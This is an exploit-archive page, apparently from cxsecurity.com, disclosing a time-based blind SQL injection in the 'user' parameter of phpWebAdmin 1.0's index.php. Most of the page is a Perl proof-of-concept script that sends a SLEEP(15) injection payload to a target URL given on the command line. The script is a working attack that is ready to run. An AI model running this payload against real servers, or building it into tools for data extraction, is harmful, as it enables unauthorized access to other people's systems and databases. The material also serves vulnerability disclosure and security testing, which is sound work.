phpWebAdmin 1.0 SQL Injection

2016.11.15
Credit: N_A
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#!/usr/bin/perl -w #phpWebAdmin Version 1.0 SQL Injection Proof Of Concept Exploit #=============================================================== #Discovered by N_A , N_A[at]tutanota.com #======================================== #Description #============ # # php web admin file and folder manager. # # currently version 1.0 # more features to come # # https://sourceforge.net/projects/chrisphpadmin/ #Vulnerability #============== #The 'user' parameter in the index.php file is vulnerable to a blind SQL time-based Injection attack. Proof of concept is exploit attached below #Proof Of Concept #================= use strict; use LWP::Simple; my ($url ) = @ARGV; if (not defined $url) { print "=========================================\n"; print "phpWebAdmin SQL Injection Exploit\n"; print "\tBy N_A\n"; print "\n"; print "$0 [URL]\n"; print "$0 127.0.0.1\n"; print "=========================================\n"; exit; } my $file = '/phpWebAdmin/index.php'; my $injection = 'user=a\' AND (SELECT * FROM (SELECT(SLEEP(15)))MdWH) AND \'gpey\'=\'gpey&pass=p&login=login'; #Sleep for 15 seconds my $request = "http://".$url.$file."?".$injection; print "#####################################################\n"; print "SQL Injection: The server will sleep for 15 secs\n"; print "#####################################################\n"; my $content = get $request; die "could not get $request" unless defined $content;


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top